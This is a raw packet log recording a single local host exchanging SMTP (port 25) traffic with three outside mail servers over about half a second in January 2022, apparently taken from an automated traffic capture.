Jan 7, 2022 15:42:51.132380962 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.132394075 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.132412910 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.132427931 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.132910967 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.132936954 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.132950068 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.132970095 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.132985115 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.133003950 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.133017063 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.133030891 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.133044958 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.133057117 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.133069992 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.133186102 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.133205891 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.133225918 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.133239031 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.133253098 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.133502007 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.133593082 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.133613110 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.133630991 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.133651972 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.133671045 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.133694887 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.133713007 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.133733034 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.133753061 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.133771896 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.133856058 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.133877039 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.133894920 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.133913040 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.133933067 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.134951115 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.134975910 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.134994984 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.135013103 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.135034084 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.135054111 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.135072947 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.135092020 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.135111094 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.135128021 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.135140896 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.135159969 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.135179043 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.135198116 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.135215998 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.135235071 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.135256052 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.135274887 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.135294914 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.135313034 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.135333061 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.135353088 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.135370970 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.135390043 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.135412931 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.135432005 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.135452032 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.135471106 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.135488987 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.135508060 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.135525942 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.135545015 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.135564089 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.135582924 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.135605097 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.135623932 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.135642052 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.135660887 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.135679007 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.135698080 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.135716915 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.135859013 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.135917902 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.135974884 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.135996103 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.136013985 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.136137009 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.136157036 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.136176109 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.136194944 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.136214972 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.136233091 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.136253119 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.136271954 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.136290073 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.136308908 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.136327028 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.136346102 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.136379004 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.136465073 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.136482954 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.136496067 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.136514902 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.136528969 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.136548042 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.136564970 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.136584997 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.136818886 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.136840105 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.136878967 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.136898994 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.136919022 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.137018919 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.137039900 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.137059927 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.137120008 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.137139082 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.137152910 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.137177944 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.137197018 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.137216091 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.137236118 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.137248993 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.137268066 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.137281895 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.137300968 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.137312889 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.137326002 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.137618065 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.137636900 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.137650013 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.137669086 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.137687922 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.137747049 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.137768030 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.137785912 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.137805939 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.137829065 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.137845039 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.137865067 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.137885094 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.137904882 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.137924910 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.137942076 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.137962103 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.137980938 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.137999058 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.138017893 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.138037920 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.138057947 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.138077021 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.138094902 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.138113976 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.138134003 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.138351917 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.138370991 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.138506889 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.138529062 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.138541937 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.138561010 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.138575077 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.138587952 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.138600111 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.138618946 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.138633966 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.138653040 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.138674021 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.138685942 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.138705015 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.394395113 CET	49751	25	192.168.2.6	194.152.32.72
Jan 7, 2022 15:42:51.418741941 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.439333916 CET	25	49751	194.152.32.72	192.168.2.6
Jan 7, 2022 15:42:51.439498901 CET	49751	25	192.168.2.6	194.152.32.72
Jan 7, 2022 15:42:51.445116997 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.445292950 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.472381115 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.472398043 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.472632885 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.481518984 CET	25	49751	194.152.32.72	192.168.2.6
Jan 7, 2022 15:42:51.481653929 CET	49751	25	192.168.2.6	194.152.32.72
Jan 7, 2022 15:42:51.498938084 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.498970985 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.498991013 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.499056101 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.499088049 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.499130011 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.499156952 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.500528097 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.523845911 CET	25	49751	194.152.32.72	192.168.2.6
Jan 7, 2022 15:42:51.523875952 CET	25	49751	194.152.32.72	192.168.2.6
Jan 7, 2022 15:42:51.524490118 CET	49751	25	192.168.2.6	194.152.32.72
Jan 7, 2022 15:42:51.525451899 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.525482893 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.525510073 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.525538921 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.525564909 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.525568962 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.525626898 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.525657892 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.525887966 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.526814938 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.526882887 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.552144051 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.552175999 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.552201033 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.552258015 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.552309990 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.552488089 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.552529097 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.552555084 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.552555084 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.552577972 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.552582026 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.552602053 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.552612066 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.552629948 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.552639008 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.552659035 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.552666903 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.552686930 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.552706003 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.552735090 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.553349972 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.553378105 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.553438902 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.553483009 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.566745043 CET	25	49751	194.152.32.72	192.168.2.6
Jan 7, 2022 15:42:51.566771030 CET	25	49751	194.152.32.72	192.168.2.6
Jan 7, 2022 15:42:51.566924095 CET	49751	25	192.168.2.6	194.152.32.72
Jan 7, 2022 15:42:51.579152107 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.579180002 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.579242945 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.579287052 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.579535007 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.579586983 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.579610109 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.579612970 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.579637051 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.579678059 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.579721928 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.579765081 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.579823971 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.579830885 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.579847097 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.579869032 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.579888105 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.579962015 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.580121994 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.580250978 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.580272913 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.580404997 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.580593109 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.580617905 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.580641985 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.580666065 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.580688000 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.580710888 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.580769062 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.580930948 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.580955029 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.580976963 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.607023001 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.607048988 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.607065916 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.607439995 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.607467890 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.607536077 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.607554913 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.607567072 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.607579947 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.607593060 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.607611895 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.607629061 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.607646942 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.608139992 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.608289957 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.608323097 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.608457088 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.608733892 CET	25	49751	194.152.32.72	192.168.2.6
Jan 7, 2022 15:42:51.608840942 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.608876944 CET	25	49751	194.152.32.72	192.168.2.6
Jan 7, 2022 15:42:51.609069109 CET	49751	25	192.168.2.6	194.152.32.72
Jan 7, 2022 15:42:51.609385014 CET	49752	25	192.168.2.6	194.152.32.73
Jan 7, 2022 15:42:51.609388113 CET	49751	25	192.168.2.6	194.152.32.72
Jan 7, 2022 15:42:51.634759903 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.634794950 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.634814978 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.634840965 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.634867907 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.634893894 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.634911060 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.634928942 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.634948015 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.634967089 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.634984970 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.635004044 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.635021925 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.635040998 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.635179043 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.635205030 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.635234118 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.635271072 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.635292053 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.635299921 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.635325909 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.635337114 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.635354042 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.635360003 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.635379076 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.635384083 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.635410070 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.635421038 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.635437012 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.635441065 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.635463953 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.635472059 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.635488987 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.635494947 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.635514021 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.635584116 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.635608912 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.635636091 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.635663986 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.635689020 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.635721922 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.635772943 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.635828018 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.635855913 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.635885000 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.635910988 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.635937929 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.635965109 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.635992050 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.636018991 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.651427984 CET	25	49751	194.152.32.72	192.168.2.6
Jan 7, 2022 15:42:51.651452065 CET	25	49751	194.152.32.72	192.168.2.6
Jan 7, 2022 15:42:51.651554108 CET	25	49752	194.152.32.73	192.168.2.6
Jan 7, 2022 15:42:51.651554108 CET	49751	25	192.168.2.6	194.152.32.72
Jan 7, 2022 15:42:51.651586056 CET	49751	25	192.168.2.6	194.152.32.72
Jan 7, 2022 15:42:51.651674032 CET	49752	25	192.168.2.6	194.152.32.73
Jan 7, 2022 15:42:51.661530972 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.662298918 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.662528992 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.662560940 CET	25	49750	108.177.119.26	192.168.2.6
